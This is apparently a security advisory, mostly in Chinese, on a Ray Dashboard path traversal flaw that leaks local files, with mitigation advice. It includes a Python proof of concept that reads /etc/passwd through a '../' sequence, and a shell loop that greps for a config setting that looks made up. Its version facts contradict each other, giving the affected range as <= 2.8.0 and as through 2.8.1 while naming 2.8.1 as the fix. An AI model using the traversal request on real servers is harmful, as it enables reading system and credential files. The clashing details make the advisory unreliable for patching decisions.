Ray Dashboard <= 2.8.0 路径遍历导致本地文件泄露

攻击者可以利用此路径遍历漏洞 (例如使用 '../' 序列) 访问 Ray Dashboard 静态文件处理机制之外的文件。这可能导致攻击者读取服务器上的任意文件，包括配置文件、源代码或其他敏感数据。如果攻击者能够访问包含凭据或 API 密钥的文件，则可能进一步进行横向移动，控制其他系统。该漏洞的潜在影响范围取决于服务器上存储的数据以及攻击者能够访问的文件的敏感程度。类似于其他路径遍历漏洞，此漏洞可能被用于获取敏感信息或进一步入侵系统。

Organizations deploying Ray clusters with the Ray Dashboard enabled are at risk, particularly those running versions 0.0 through 2.8.1. Shared hosting environments where multiple users share the same Ray Dashboard instance are especially vulnerable, as an attacker could potentially access files belonging to other users.

• python / server:

import os
import requests

url = 'http://your_ray_dashboard_ip:8265/static/../../../../etc/passwd'
response = requests.get(url)

if response.status_code == 200:
    print('Potential Path Traversal Detected: ', response.text[:100]) # Print first 100 chars
else:
    print('No Path Traversal Detected')

• linux / server:

find / -name 'ray_dashboard.conf' -print 2>/dev/null | while read file;
do
  grep -q 'path_traversal_bypass' $file && echo "Potential Path Traversal Configuration Found: $file";
done

1. 2026-03-17Disclosure

   disclosure

1. 已保留2026-03-17
2. 发布日期2026-03-17
3. EPSS 更新日期2026-03-25

最有效的缓解措施是立即将 Ray Dashboard 升级到 2.8.1 或更高版本。如果升级不可行，可以考虑以下临时缓解措施：限制对 Ray Dashboard 的访问，仅允许授权用户访问。实施严格的文件访问控制，确保静态文件目录的权限设置正确。审查并加固 Ray Dashboard 的配置，确保没有不必要的敏感信息暴露。可以考虑使用 Web 应用防火墙 (WAF) 来检测和阻止包含路径遍历序列的请求。在升级后，请验证漏洞是否已成功修复，例如尝试访问受保护的文件以确认访问被拒绝。